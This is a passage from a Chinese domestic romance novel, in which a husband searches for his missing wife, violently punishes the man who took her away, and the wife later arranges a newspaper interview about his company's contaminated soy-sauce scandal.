苍白消瘦的脸因为汹涌的愤怒显得有些扭曲,浑身颤抖着,过了好一会儿才找到声音爆喝一声:“你就一点面子都不愿意给我?!” 小戎在游泳馆门口等了许久也没见妈妈来接他,外面雨越下越大了,也不知道是不是因为下雨耽搁。 白子浩爸爸倒是及时来接他了,不过父子两也没走,陪他一起等,他问道:“肖哥,你妈妈怎么还没来啊?” 白子浩爸爸白军在旁边等着,肖楚戎妈妈还没来,他也不放心让孩子一个人在这里等着。 白军问道:“你妈妈有传呼机吗?” “没有。”肖楚戎想到什么道:“不过我记得我妈妈公司的电话号码。” 白军道:“那我带你去公用电话,你打电话过去问问。” 白军是开了车来的,他将两个孩子抱上车,在附近找到一家共用电话,肖楚戎将电话打了过去,不过妈妈公司里的人告诉他,她妈妈早就下班了。 肖楚戎觉得奇怪,如果妈妈早就下班了,按照时间应该已经来接他了才是。他将这事儿跟白军说了,白军也觉得奇怪,又带着他去游泳馆,想着或许他们离开这段时间肖楚戎妈妈就来了。 可游泳馆门口依旧没人,问过门卫也说没人来过。肖楚戎不禁担心起来,妈妈从来没有迟到过的,也不知道发生什么事了。 “白叔叔,你能再带我去一趟共用电话停吗?我想给我爸爸打个电话。” 白军也觉得事情有蹊跷,虽然跑来跑去耽搁太多时间,但毕竟是孩子的朋友,他二话不说就同意了。 肖楚戎在公用电话亭拨通了爸爸办公室的电话,不过没人接,他知道爸爸这段时间会很忙,也不知道是不是去忙了。打了两次都没人接,他又打爸爸的传呼,希望他能给他回个电话。 等了一会儿也没人回,他又只能打爸爸公司接待室的电话,小家伙记忆力不错,上次在接待室呆过一次,那里的电话就记下来了。好在接待室的电话有人接,肖楚戎说明了自己的身份,让对方帮忙找找他爸爸。 对方也没有因为他是个小孩就敷衍,应了一声,没一会儿就听到熟悉的声音传了过来。 “小戎?找爸爸什么事?” 小戎听到爸爸的声音,瞬间感觉鼻头一酸,说道:“爸爸,妈 妈不见了。” 肖楚戎给肖秉文打完电话,肖秉文让他在游泳馆门口等着他,他马上过来。白军便又带着两个孩子回到游泳馆门口。 肖楚戎觉得有点耽误别人,就提议让他们先回去,白军肯定是放心不下的,冲他道:“没事儿,叔叔回家也没事做,就陪你等着。” 白子浩也道:“对啊肖哥,再说你一个人在这里,我跟爸爸都不放心。” 肖楚戎便没再说话了,肖楚戎以前没交过朋友,白子浩应该算得上他的朋友吧,对于朋友,他觉得就是能一起玩,可现在对于朋友好像又有了不一样的理解。 肖秉文的工厂在郊区,开过来要半个小时,他尽量加快速度,将车程缩减到了二十多分钟。 车子在游泳馆门口停下,外面在下雨,保安也挺人性化,让他们三人进了保安亭等,肖楚戎很快看到了肖秉文,他急忙就要往外跑,白军拉住了他说道:“在下雨。” 肖秉文撑着伞下了车,他的面色有些难看,阴雨天气里看着就更是阴沉可怖。 “爸爸。” 听到声音他很快看到站在保安亭门口的肖楚戎,肖秉文缓了些面色怕吓到孩子,这才径直走过去。 两位家长见面先打了下招呼,肖秉文也从小戎口中得知这次是白子浩爸爸帮的忙,他急忙客气表示:“这次多亏了白先生,下次有空了请你吃饭。” “没事,肖先生不用客气。既然孩子交给你了,我和白子浩就先走了。” 至于为什么小戎妈妈没来这事儿,这就是人家的私事了,白军也不好多问。几人告别离开,肖秉文将肖楚戎抱上车,肖楚戎这才问道:“爸爸,你知道妈妈去哪里了吗?” 肖秉文帮他扣安全扣的动作顿住。在得知张婉如不见了之后肖秉文就联系过张婉如的公司,那边说她一下班就走了,肖秉文又打电话回家里,赵阿姨也说没回来。 哪里都没人,他也不知道她去了哪里。他突然就想到那一次,她说走就走了,一走就是好几年。 他不敢想。 肖秉文调整了一下情绪,摸了摸儿子的头说道:“妈妈应该是有事耽误了,我先送你回去。” 他的打算是先将孩子带回家,再出去让人帮忙找。但愿真的就像他说的那样她有事耽误了。 这个时候最不该的就是乱了阵脚,肖秉文坐上驾驶座,可脑子却又莫名想到她几年前说走就走,这一次是不是又将他们父子抛弃了?然而想着张婉如的态度又觉得不可能,那就是遇到什么意外。 不管是哪种情况都让他五脏六腑像被火烤一样难受,肖秉文才发现他的手指抖得厉害,扭了好几次钥匙都没将车打燃。 就在这时他骤然听到小戎一声惊呼,“是妈妈!” 几乎是立刻,他转头顺着小戎手指的方向看过去,果然看到张婉如急匆匆从一辆公交上下来,向着游泳馆跑去。 根本就来不及思考,也来不及去收敛看到她出现那一刻汹涌在体内的复杂情绪,肖秉文急忙推开车门,走了几步才想起来,又折回身拿过伞。 他想叫一声张婉如,却发现喉头被什么堵住,开不了口,只能迈着大步一步比一步急促往前走。 张婉如跑到门卫亭,问了一下情况,门卫冲她指了指某个方向,她顺着看过去,就看到撑着伞走过来的肖秉文。 坐公交来的一路上张婉如的情绪已经平复得差不多了,可看到肖秉文的那一刻,在被梁文平关在出租车上,在对未来发生的事情茫然无措时那种恐惧和不安,此刻通通化作一股委屈。 不等肖秉文靠近,也不管还在下着的雨,她不受控制跑过去一下扑进他怀中。肖秉文抱着熟悉的身体,感受她的体温与他的体温交融,担忧焦虑在顷刻之间抚平。 有太多话想问,问她去哪儿了,发生了什么? 却发现根本没多余的心思开口,所有的力气只能用来将她抱紧。也不知抱了多久才松开,两人都没忘记小戎还等着。 肖秉文双眼微微发红,说话的语气也透着几分沙哑,“走吧,先上车。” 这会儿确实也不是说话的时候,张婉如便先上了车,小戎看到妈妈安然无恙出现,不知是因为放松还是因为激动,眼眶酸酸的,有晶莹的泪在眼眶打转,声音也透出几分哭腔。 “妈妈,你去哪儿了?” “抱歉妈妈来晚了,在路上有点事情耽搁。” 张婉如坐上后座,将孩子搂在怀中安抚他的情绪。靠上熟悉的怀抱小戎不安的心情才渐渐平静,其实有那么一刻他想过,妈妈会不会又向上次一样突然离开,是不是他又有很久很久见不到妈妈,可好在妈妈又回来了。 回到家中张婉如先去洗了个澡,赵阿姨给她煮了一杯生姜水,她喝了一些,被雨淋过的冰冷身体这才缓和过来。 进了房间肖秉文已经等着她了,当着孩子的面有些话不好说,他自然也没问,这会儿便问道:“是不是发生什么事了?” 想着今日的事情,虽然梁文平没对她做什么,可她依旧心有余悸。 她道:“今天下班之后下起雨,我便打算打车去接小戎的。下雨车子不好打,好不容易打了一辆却没想到是梁文平开的。” “梁文平?”肖秉文眉心微蹙。 “我也不知道梁文平发什么神经,说要带我去吃高中附近那家馄饨,不管我怎么说他都不理,硬要将我往那家馄饨店带。” 肖秉文沉默下来,想了一下梁文平这个人,突然勾了勾嘴角,仿若在笑,然而嘴角和眼底却凝着冷。 “他狗胆还挺大。” 不过想着他连污蔑张婉如这事儿都能做出来,能干出带走张婉如的事儿也不稀奇。可肖秉文还是觉得不太对劲,太莫名其妙了。梁文平污蔑张婉如可以理解他为他姐姐出头,可她带走张婉如就为了带她吃馄饨?他为什么要这么做? “他还对你说过什么?”肖秉文又问道。 这话他问得平静,仿若只是简单好奇,可肖秉文此刻的状态跟平日里不太一样。身上的克制,眼底的冷,当然她知道他并不是在针对她,可他身上那股不自觉透出的压迫感依旧让她感觉到压力。 张婉如也实话实说,“他还说他挺喜欢我,从高中时候就喜欢了。现在知道我离婚了,希望我能给他追求我的机会。” 听到这话的肖秉文差点笑出声来,然而他眼底却更冷,他许久没说话,不知道在想什么。不过再开口的时候声音还是平静 的,他道:“以后抽空去考个驾照,我给你配辆车,这样也方便很多。” 其实张婉如也想过去考驾照,只是平日里太忙了,便觉得可考可不考,经过这件事之后她倒是也坚定了要考驾照的决心。 “好。” “你先休息,我得出去一趟。” “又要走了吗?”张婉如下意识问道,面上透出几分急色。 肖秉文见状笑了笑,他能看出她在对他不舍,这让他心情好了些,他用指背刮了一下她的脸,“就出去办点事,一会儿就回来。” 张婉如这才放心了些。 梁家的房子就跟肖家老宅挨着,原本也是肖家老宅的一部分,后来肖老爷子给了梁家兄妹住再,后来梁建英嫁给了肖家大伯住进了肖家老宅,这房子便只有梁建英哥哥梁健康一家住。 大门关着,肖秉文握着拳头在上面砰砰砰重重砸了几下,没一会儿有人开了门,是梁文凤。 梁文凤见到门口站着的人很意外,“秉文哥?” 肖秉文目光往屋内扫了一眼,问道:“梁文平在家吗?” 梁文凤看出他面色不太好,而且他身上的状态也不太对劲,浑身透出一股危险的锋利感,她有些不安,说道:“文平刚回来,你找他有事吗?” 在家就行,肖秉文懒得解释,直接走进屋中。进门有个院子,肖秉文迈开长腿,几个大步就穿过了院子。 屋子里的人听到动静走了出来,梁文平的父母梁健康和梁母都在家,二人见来人是肖秉文也都挺诧异,梁建英说道:“秉文,你……” 梁健康和梁建英是肖老爷子的干儿女,按照辈分肖秉文还得叫梁健康一声干叔叔。肖秉文却像是听不到他的话一般,他目光扫向屋中,很快就看到从某个房间出来的梁文平。 梁文平听到动静,出房间时一脸疑惑,想看看谁来了。一出门就看到在门口那道背光而站的高大身影。 逆着光他一时没看清他的脸,就感觉这道略显紧绷的身影有一种可怕的压迫感。见到他,他身影直接向他走过来,阴影笼罩而下,压抑得让人窒息,近了些梁文平才看清来人是肖秉文。 或许是因为心虚,或许是因为此刻肖秉文的状态太过锋芒毕露,梁文平当即倒抽一口凉气,双目圆瞪,本能的恐惧感骤然袭上,双腿却像是灌了铅一般一动不动。 肖秉文也没有废话,走到梁文平跟前,抬起一脚就向着他肚子踹去。肖秉文参过军,力道自然比常人大些,再加上梁文平长得瘦弱,这一脚下去,结结实实给踹出去了几米远。 梁文平重重摔在地上,疼得哎哟哎哟叫出来,还没来得及平复身体的疼痛,只觉领子一紧,是肖秉文直接将他提了起来。 这一幕也将梁家众人惊到了,一时竟吓得呆在原地,直到肖秉文提着梁文平出了屋子。 梁健康急忙追上去问道:“到底怎么回事啊秉文?文平是哪里得罪你了?” 肖秉文完全无视了他的话,此时此刻的他眼里已经看不到其他人,只想单纯发泄心底的怒火。 梁家的院子里有一口水缸,他提着梁文平的领子走到那水缸前,反手摁着他的脖子就将他的脑袋往水缸里淹。 这一幕把梁家人吓得够呛,梁母爱子心切,急忙走上前就要拉肖秉文,肖秉文下意识将她挡住。其实他也没用多少力气,可这会儿怒火上头再加上他本身的力气就不小,这一挡,梁母就直接被震倒在地上。 梁文凤也回过神来,她走上前急色道:“秉文哥到底发生了什么?文平到底哪里得罪了你?有什么话不能好好说吗?如果文平他真有不对的地方,我父母定会教训他给你一公道。” “公道?”肖秉文嗤笑一声,“我这公道你们可给不起。” 手上的力道松也没松一下,被按在水缸中的梁文平双手扑腾不止,然而无论他如何挣扎,肖秉文的力道却都未松一下。 梁母吓得坐在地上嚎啕大哭,梁健康也跑上前焦急劝道:“你先松手吧,你在这样文平就要被淹死了,有什么事情好好说,别搞出了人命。” 肖秉文也没想搞出人命,手上沾上这条命,他还嫌脏。他下手自有分寸,在梁文平呛了几口水,在那股可怕的窒息感让他有过最痛苦的经历之后,在他面对死亡的威胁恐惧到极点之时,在他快要彻底窒息的前一刻,手上的力道松了些。肖秉文提着他的领子将他扔在地上。 梁文平被呛得直咳嗽,就像离了水的鱼一样,在地上痛苦打滚,咳嗽不止。梁母紧忙爬过去将他抱起来帮他擦干脸上的水,作为母亲护犊子的心态,她满脸怒色冲肖秉文道:“我家文平究竟做了什么你要这样作践他?老太爷老太太一走就没有人为我们做主了是吗?” “还想老太爷和老太太给你们做主?”肖秉文嗤笑,即便笑着可他的面色和眼神却是冷的,看着简直渗人得很。 “别忘了,老太爷已将老宅的使用权给了我,这房子是老太爷给你们住的,那是他的事,现在换了主人,我随时都有可能收回来。” 这话一落,梁家众人顿时大惊失色,方才疾言厉色的梁母这会儿却是白了脸闭了嘴。 “秉文,你这话是什么意思?这房子可是当初干爹看在我父亲的情分上给我们住的。” “那是老爷子跟你们家的情分,跟我无关,一码归一码,现在是我说了算。” 院子里顿时鸦雀无声。 梁文平这才终于喘过气来了,肖秉文走上前蹲在他身边,一股危险感在他周身蔓延。梁文平瑟缩着身体一动不敢动,梁母因为惧于肖秉文的威胁此刻身体也僵住,虽想护着孩子却也不敢说什么。 肖秉文一伸手卡住梁文平的脖子,这动作让梁家众人大惊失色,却也没人敢说什么。 肖秉文的手指紧紧捏着他的下颌,目光冷漠扫过这张脸,突然就笑了。 “怎么?要跟我抢老婆?”慢条斯理说这话,手上力道却不断收紧,“不管我和她离没离婚,她都不是你能肖想的,明白吗?” 梁文平猜到肖秉文来这里是为了这事儿,或许是因为被家里人给惯的,又或许想到肖秉文再厉害如今出了这么一摊子事他就像被拔了牙的老虎,再厉害也厉害不出什么。 他万万没想到找上门来的肖秉文会如此简单粗暴。他所做的一切都是在告诉他,他捏死他就像捏死一直蚂蚁那么简单。 梁文平这会儿是真害怕了,他害怕这样的肖秉文,即便以前的肖秉文再厉害,可身上终究有着富家子弟的彬彬有礼,行事也会留几分情面。他从未想过肖秉文会有这一面,行事无所顾忌,什么富家子弟的身份,什么体面,都只是他碍于身份的伪装,而这一刻,眼前残忍而粗暴的人才露出了他的一点本相。 面对眼前之人的巨大恐惧感,梁文平什么都顾不上了,即便下颌被他捏住说话不方便却也囫囵不清求饶:“秉文哥,我不敢了,我再也不敢了,饶了我吧,我以后会离张婉如远远的,有她在的地方我绝对不会出现。” 还算识相。 肖秉文松开钳制他的手,站起身,冲周围梁家人扫了一眼说道:“准备一下搬东西吧,这房子我要收回来了。” 虽然他没对张婉如怎么样,但他的所作所为依旧触了他的逆鳞,倒也不至于把人杀了,但是该有的惩罚还是要有的,发不出心头那股火,他会一直都不舒服。 然而肖秉文的话对于梁家人来说简直就是晴天霹雳,肖老爷子给他们这间院子虽然不算大,但住一家几口绰绰有余。而且因为住在这里,便也让人觉得他们跟肖家是一家人,在外面行事也有许多便利。 若是肖秉文将房子收回,这就是要和他们彻底划清界限的意思,他们哪里有多余的钱购置别的房子来住。 梁健康对着肖秉文离去的背影哭喊着道:“这是老爷子对我家老爷子的人情啊,你这样做,你让肖老爷子在地下怎么安息。” 可即便摆出肖老爷子肖秉文也依旧不为所动,甚至出门时头都没回一下。 张婉如已换上了睡衣,肖秉文还未回来,他说只出去一会儿,可这都已经好几个小时了。也不知道他什么时候才回来。 一时半会儿肯定是睡不着的,张婉如拿了本书来看,骤然听到外间传来开门的声音,张婉如心头一喜,撩开被子下床走了几步,就看到推门进来的肖秉文。 来不及惊喜,张婉如几个大步跑过去扑到他怀中,结实的身体接住她,枕着他宽阔的胸膛,她总算踏实了些。 肖秉文捞着她的腰将她抱起来,就跟抱个小玩偶似的,他在床边坐下,顺势把她放到腿上。 “你去哪儿了?”张婉如问他。 “处理点事情。” 他没明说张婉如也就不再问,她靠在他怀中,也不知道还能抱多久,这段时间两人难得见面,她自然也珍惜难得的温存。 肖秉文用大掌顺了顺她的头,又在她头顶落下一吻,问她:“今天被吓到了吗?” “有点。” “以后他不敢再来找你麻烦了。” 张婉如从他怀中抬头,问他:“你刚是不是去找梁文平了?” 既然她都猜到了肖秉文也不瞒着,他道:“嗯,是去找他了。” “揍他了?” “嗯,揍了他一顿。” 她还没看过肖秉文揍人呢,虽然肖秉文这人有时候让人觉得混混的,但毕竟出身和教养摆在那里,出门在外都是以理服人,做事也留几分情面,也不知道他揍起人来是什么样子。 肖秉文又顺了顺她的头发,指背在她脸上轻轻拂过,若有所思般说了一句:“连梁文平都有胆子惦记你,还挺有魅力。” “你这是在夸我吗?” 可为什么感觉他眼底凉凉的。 “当然。”肖秉文道。 张婉如知道这事肯定是让肖秉文来气了,不然也不可能跑去将梁文平揍一顿,还是第一次见他行事作风如此简单粗暴。 当然得给他些安慰,所以张婉如软了语气,目光柔柔看着他,说道:“别人惦记我跟我有什么关系,我只惦记着你。” 说这话的时候她水润的眼睛盯着他,眼底填满了他整张脸,仿若再也容不下别人。即便去梁家发泄了一通,可心底依旧还带着几分火。她这话一出,他就感觉冒着火气的心窝子好似被一只温柔的小手摸了摸。 肖秉文嘴角不自觉勾起笑,拇指在她唇上压了压,说道:“嘴这么甜的吗?” 话才落下,肖秉文就感觉唇上一软,是她突然贴了上来。软软的唇在他唇上印了一下便离开,她依旧水润的眼睛看着他,眼底扬起笑,亮亮的。对上他疑惑询问的目光,她问他:“甜吗?” 肖秉文怔住,是真没想到张婉如会突然给他来这一下,这丫头的本事真是一次次出乎他意料。 今日发生太多事情了,从得知她失踪的担忧到后来知道事情真相过后的愤怒,情绪一直滚在心头。 而她,就这么来了一下,便如此轻而易举将所有情绪都瓦解了。 此刻,肖秉文眼底就只剩了她那双水润的眼和方才贴过他那张柔软的唇。 有时候是真不怪他想混账。 可他知道自己混账起来什么样,又怕把人吓到,他克制着,大掌扣着她的后脑勺,却没直接袭上去,只用额头抵着她的额头,语气也克制着,掩饰某种急切,故意放柔了冲她道:“没尝到,再来一下。” 第57章 第57章亲爱的 她真是乖顺得不行,果真就将唇贴了上来,不过也只是一下子。 “尝到了吗?”她问。 他没说话,拇指在她唇上蹭了蹭,拇指压在她唇上的触感实在软得不行,他们着实也有许久没有亲热过了。肖秉文便没忍住,低头在她唇上含了含。倒也没太过,就解了下心底的痒。也怕一发不可收拾,真有可能走不掉了,他接到小戎的电话就直接往城里赶,厂子里一大堆事情等着他处理。 好巧不巧的,唇刚从她唇上离开他的传呼就响了,就跟生怕他不记得他还有事似的。肖秉文皱了皱眉,张婉如双眼微阖,即便只被他含了一下目光也透了几分迷离,听到传呼声,她面色失落了几分,问道:“要走了吗?” 确实是要走的,可看着她这小模样他说不出话,大概只犹豫了三秒,他将传呼关掉,拇指和食指捏着她的脸抬起来,唇抵在她的唇上,就轻轻抵着,没往下压,他主动的暧昧已告诉她答案,他却还是对她强调了一句:“不走。” 说完唇就压了下来,或许已经做了决定,这次的吻便放肆了许多,滚倒在床上时肖秉文突然就想着真是多此一举,方才克制着吻就是怕自己会一发不可收拾,只是终究还是一发不可收拾了。 张婉如醒来时床上已经没了人,出来时也没人,其实早就料到肖秉文那么忙,肯定一早就走了,可看到没人了还是有些失落。 也不知道他公司的事情什么时候能处理好,两人什么时候再回到每天都能见面的日子。 张婉如谨记教训,当天就去驾校报了个名。下午去接小戎时张婉如在门口遇到白军,昨日的事情她听小戎说过,在肖秉文来之前是白子浩和白叔叔一直陪着他。 张婉如自然是要谢一谢人家的。 “昨天的事情小戎都跟我说了,谢谢白先生啊。” 白军道:“你太客气了小戎妈妈,不过你昨天去哪儿了?” “昨天有点事情耽误了。” 白军也没多问,“没事儿就行,小戎昨天还挺担心你的。” 正说话间,两个孩子也结伴出来了,孩子们先跟长辈打了声招呼,白子浩便冲白军说道:“爸爸,我和肖哥约好了今天去吃冰淇淋。” “当然可以啊,毕竟上次爸爸答应过你的,不过你们两个单独去吃我不放心,得家长跟着,当然我们家长会自觉坐一桌,不会影响到你们小朋友的聚会。” “耶!”白子浩高兴蹦跳了一下,一脸兴奋冲肖楚戎道:“肖哥,我爸爸答应了。” 肖楚戎看向张婉如,张婉如也点点头,“妈妈也觉得没问题。”张婉如说完问白军,“是白先生陪他们去还是我陪他们去?” 白军道:“一起去吧,我俩都在他俩也安心些。” 张婉如想着昨日是白家父子帮了忙,正好这顿就她请客。 白军开了车来,两个孩子上了车,张婉如本打算坐后座跟两个孩子一起的,白军冲她道:“小戎妈你坐前面吧,两个孩子好聊天。” 张婉如想想也是,孩子们有自己的社交场合,家长在那里确实不太方便说话,她便坐在了副驾驶座,上车之后又说了一句:“谢谢你啊白先生。” “你真太客气了小戎妈。” 两个孩子都想去吃肯德基,白军就找了一家就近的肯德基店,孩子们点了爱吃的甜筒和薯条,张婉如和白军也随便点了两杯喝的。 白军说到做到,让两个孩子坐一桌聊他们的,他们两位家长坐远一些不打扰他们。 “小孩就喜欢吃这些,我吃着也就那样,味道也奇怪,不知道为什么小朋友就那么喜欢。”白军坐下之后便说了一句。 “我记得我小时候喜欢吃麻糖,我妈也说过这有什么好吃的,甜得齁人,但那时候就觉得好吃。” “也是。”白军笑了笑,“小时候觉得大人挺扫兴,没想到我们长大了就变成扫兴的大人了。孩子爱吃就吃吧。” 张婉如也笑了笑。 “对了,昨天小戎爸爸来接他,我看着觉得他有点面熟,他就是和盛集团的经理肖秉文吧?” 张婉如听到这话,心头一咯噔,不过看白军的表情并没有恶意,这事儿也没什么好隐瞒的,她点了点头。 “说起来和盛味业最近出了不少事儿呢,肖先生应该挺忙的吧?” “是挺忙的。”虽然白军这话也没别的意思,可张婉如有点尴尬。 “其实和盛味业的事儿最开始还是我们报社爆出来的。”迎着张婉如惊愕疑惑的目光,白军道:“我是金太阳报社的主编。” 这倒出乎张婉如意料,张婉如只知道白军在报社工作,万万没想到他是金太阳报社的主编。再见他穿着潮流,打扮时尚,倒跟主编成熟稳重的形象不太符合。 “张小姐应该也清楚,做新闻的就是有什么就写什么,当时和盛味业的酱油确实也检查出了过量的二丙醇,我们也是如实报道,并不是在针对肖先生。” “这个我自然是知道的,本来出了这样的事情也是因为他们公司监管不力。” “张小姐理解就好,就是不知道和盛味业现在的情况是什么样的。” “他这段时间挺忙,具体的我也不太清楚。” 白军点了点头便没再继续这个话题,过了一会儿他又问道:“听说您二位离婚了?” “……”张婉如没及时回答,只诧异看了他一眼,白军道:“你知道的,我们做新闻的,消息会比别人灵通一些。” 张婉如笑了笑,没否认也没承认。 “那个……孩子知道吗?” “不知道。” 白军轻轻叹了口气,“这样一来这两个孩子也算同病相怜了。” 张婉如不解,白军解释道:“我跟 浩浩他妈也是离了婚的。” 吃完了出来白军坚持送他们母子回去,不过张婉如拒绝了,最终白军也没强求。回去的一路上张婉如想着白军的话。 金太阳报社的主编……金太阳是柳城一家本土媒体,在柳城的影响挺大的,所以当时金太阳爆出和盛味业的毒酱油事件才会在短时间之内被广泛传播。 白军看上去也不像是有恶意的,而且昨天能联系到肖秉文也多亏了他帮忙。既然有这样的人脉,那她也该好好利用才对。 所以第二天去游泳馆接孩子时,张婉如故意瞅准了时间跟白军同时到。 白军热情冲她打招呼,“小戎妈,这么巧。” “是啊,挺巧的。” 两人在外面等着孩子出来,张婉如抓紧时间说道:“白先生什么时候有空啊,我想请你吃个饭。上次小戎能联系上他爸还多亏你帮忙呢!” “哎呀小戎妈别这么客气,浩浩跟小戎是好朋友,这点忙也是顺手的事情,再说了上次俩孩子去肯德基也是小戎妈请的客。” “那怎么一样呢,上次是请的白子浩同学,这次是请白先生,你们父子两都帮了忙,这顿饭我是一定要请的。” “那行吧,这周末吧。” “行,那周末我们送了孩子过来就一起去吃饭。” 到了约定那天,两人把孩子送进去之后,张婉如便坐上白军的车到了她早先预定好的餐馆。服务生拿上菜单,张婉如将菜单递过去,白军笑道:“小戎妈,你真太客气了。” 每人点了两个菜,张婉如喝了一口果汁,说道:“其实今天约白先生出来还有一件事想拜托白先生。” 听到这话的白军倒没诧异,他似乎早有预料,笑道:“小戎妈妈你说。” “就……和盛那件事爆出来之后这段时间肖秉文也一直在对公司进行整改,而且也在积极调查这件事的真相。我就想着,如果白先生有时间的话,能不能安排一下报社的人去对和盛和肖秉文进行一次采访,也不需要贵社能帮肖秉文说说好话什么的,就如实报道一下他们公司的整改情况,让公众知道肖秉文是有改正的决心和态度的。” “这个倒没什么问题。” 张婉如也没想到他应得这么爽快,她面色一喜说道:“那……白先生您看什么时候有时间……” “下周吧,我亲自去。” 这话就更让张婉如惊喜,“那就谢谢白先生了。” 张婉如说完想到什么,从包中掏出一个精致的盒子,她将盒子打开,里面躺着一块高档腕表。 “小戎妈你这是干什么?” “上次逛街看到这块腕表觉得挺适合白先生的,就买了想找机会送给你。” “哎呀你真是……本来浩浩跟小戎就是好朋友,我听说小戎在学校也挺照顾我们浩浩的,有一次还帮他抢球来着。这些不过都是小忙,我随手一帮的事情,小戎妈妈干嘛这么破费?” 白军将手表推过去,说道:“应该没买多久还能退,小戎妈你去退了吧,你送我这个还不如送我一束花呢!我这个人喜欢花,花可比这个东西惹人爱多了。” 张婉如又将手表推过去,“花会有,这个白先生也要收下,真是我精心挑选的,白先生就别辜负我一番好意了。” 白军实在推脱不过便也只能收了,张婉如这才放了些心。 第二日张婉如送孩子去游泳时路过花店便买了束花,小戎不解问道:“妈妈买花做什么?” 张婉如道:“白叔叔上次帮了你,这是给他的礼物。” 小戎点了点头,他以为花跟别的礼物一样也是一种礼物。 张婉如在门口跟白军父子碰面时便将手上的花送上,白军倒是诧异了,张婉如道:“白先生说过的,喜欢花。” 白军笑了笑,有些无奈,不过收到花心情还是不错的,他愉快接过,笑道:“我还以为昨天小戎妈妈只是随口一说呢,没想到还真买花了。” “答应过白先生的啊,那肯定要说到做到。” “行,我收下了。” 小戎和白子浩进了游泳馆之后先去换了衣服,戴上泳帽和护目镜,便被教练带到泳池边。教练先教他们游了几圈之后就安排他们休息一会儿。 两人趴在岸边休息,白子浩终于忍不住问出自己的疑惑,“肖哥,你妈是不是在追我爸啊?” “追?” “就追求啊?你知道追求是什么意思吧?” “……” “就……追到了就要谈朋友的那种意思。” 这下小戎明白了,他冷冷扫了白子浩一眼说道:“你在胡说什么,我妈妈怎么可能和你爸爸谈朋友?她跟我爸爸才是一对。” “可是我听说你爸爸和妈妈已经离婚了啊?” “谁告诉你的?”肖楚戎目光更冷。 白子浩被他这眼神一看,吓得瑟缩了一下,忙道:“我听我爸说的,我爸是记者,他消息可灵通了。” 肖楚戎沉默下来没说话,白子浩又道“你说要是你妈我和我爸成了一对,我俩不就是一家人了吗?”白子浩越说越激动,嘿嘿笑道:“那我俩就成兄弟了肖哥。” “兄弟?”不同于白子浩的激动,肖楚戎面色有些冷。 “诶肖哥,跟我成兄弟你不高兴吗?” 肖楚戎没回答,将护目镜往眼睛上一戴,身体一沉,瞬间便像一条鱼一样沉入水中,白子浩见状也戴上护目镜,说道:“肖哥你等我。” 张婉如明显发现小戎今天不太对劲,一路回来心事重重,浑身透着低气压,吃饭时有好几次欲言又止,但最后还是选择沉默。睡前张婉如陪他读了会儿拼音,张婉如看出了这小孩家家有了心事,没忍住问出口,“小戎,你是不是有话要对我说?” 不知这话戳中了小家伙哪儿,就见他落在她身上的目光突然就多了几分委屈,眼底还有泪光在闪烁。 张婉如见状被吓了一跳,“怎么回事啊?今天学游泳被教练批评了?” 不过以小戎闷闷的性格,就算被批评了可能也不会放在心上。 小戎摇头,沉默了一会儿才问道:“你和爸爸是不是离婚了?” 张婉如心头一咯噔,忙道:“是谁告诉你的?” “白子浩说的,他爸爸是记者,他说他爸爸消息很灵通。” 难怪他会这副模样,张婉如看得心疼,她将他搂在怀中抱着,说道:“爸爸和妈妈没有离婚,不过爸爸最近出了点事情,他怕影响了我和你的生活,对外就说我们离婚了。” 小戎从她怀中抬头,依旧是泪眼婆娑的,“所以你们还好好的对吗?” “当然啊。”张婉如揉着他的小脑袋,“我们有小戎啊,我们怎么可能离婚?” 张婉如用掌心帮他蹭掉溢在眼角的泪水,安慰道:“小戎别难过,爸爸这段时间是因为工厂出了事情才没回来,等工厂事情处理完了就好了。爸爸很厉害的,我们要相信他对吧?” “嗯,爸爸很厉害。”小戎很肯定强调了一句。 张婉如笑了笑,捧着他的脸揉了揉,小戎放了些心,也咧着嘴角对着妈妈笑了笑。 几天之后白军去了一趟和盛味业,毕竟收了人的礼,也得做点事。白军还带着一个摄影师。 俩人在门口保卫处说了一下身份和来意,保卫处的保安打了个电话过去,确定好了之后才让两人进去。 白军来这里的第一感觉就是这里的安保挺严,不仅进去的人要严查,就连出去也没那么简单,方才他们等待时就看到有个工人,拿着领导签字的申请书才能出去。 白军冲身后摄影师说道:“把这些都拍下来。” 肖秉文跟工厂的几个领导开了会,商讨滞销货物的处置问题,讨论了老半天才有结果。刚回办公室,椅子还没坐热乎秘书小孙就进来冲他道:“肖总,金太阳报社的主编找您。” “金太阳报社?” 肖秉文可没忘记当时公司的毒酱油事件就是金太阳报社爆出来的,所以他对这报社没什么好印象,不过这种 舆论机构也不能得罪,他便让人将他请进来。 只是见到来人后肖秉文愣了一下,这人他见过,有过一面之缘,肖秉文很快想起来,“你是……白子浩同学的爸爸?” “是我。”白军笑了笑,主动伸出手,“我是白子浩的家长,也是金太阳报社的主编,肖总幸会。” 肖秉文没想到小戎同学的家长也是卧虎藏龙,他神色很快恢复如常,和白军握了握手,“幸会幸会,白主编请坐。” 两人坐下,秘书泡了茶进来,白军也不废话,直接说明来意,“我今日来是想对肖总做一个专访,没有提前打过招呼实在有些冒昧,还望肖总谅解。” “没关系。” “那肖总愿意接受采访吗?” 肖秉文端起茶喝了一口,嘴角抿出一抹客气的微笑,“当然,我非常乐意。” 白军便冲身后的人示意了一下,那摄影师便拿出相机对着肖秉文拍了张照片。 白军拿出笔和本子,“那就不耽误时间了,我们直接开始吧。” 肖秉文端正了些坐姿,笑道:“好,白主编请。” “首先我想问的事,这件事件之后对肖总有什么样的影响?” “影响肯定是有很多的,第一就是让我发现了管理上的漏洞,让有心人有了可乘之机对工厂的原料做手脚,其次舆论也给了一些压力,当然有压力才有动力,促使我尽快找出始作俑者让这件事水落石出,也给公众一个交待。” 听到这话白军倒是有些意外,本来今日来采访肖秉文就是因为想做个顺水人情,毕竟人家小戎妈又请吃饭又送礼的,做新闻的要善于抓住焦点,虽然最近柳城的焦点确实在和盛味业上,但他们已经占了先机爆出这件事,后面又被各种媒体轮番报道都炒烂了,他也没想着要挖掘出什么东西。 不过这会儿听着,和盛味业这事儿还有些门道。 白军便正了正面色,问道:“肖总的意思是,贵公司此次遭遇的事件是有人为之?故意想损毁贵公司声誉?” 肖秉文:“确实如此。” “那事件有调查结果了吗?” “目前正在调查,有了结果我会第一时间向公众透露。不过,虽说这事是有人故意为之,但我管理不当也是事实,我真诚向公众道个歉。我近期也在积极对受害者进行慰问,商讨赔偿问题,公司出了这样的事,作为领导者我从未逃避责任,一直在积极解决,也希望公众能多给些时间。” 白军点头,钢笔在笔记本上刷刷作响,虽说肖秉文这回答带着几分官方的成分,但态度也算诚恳。 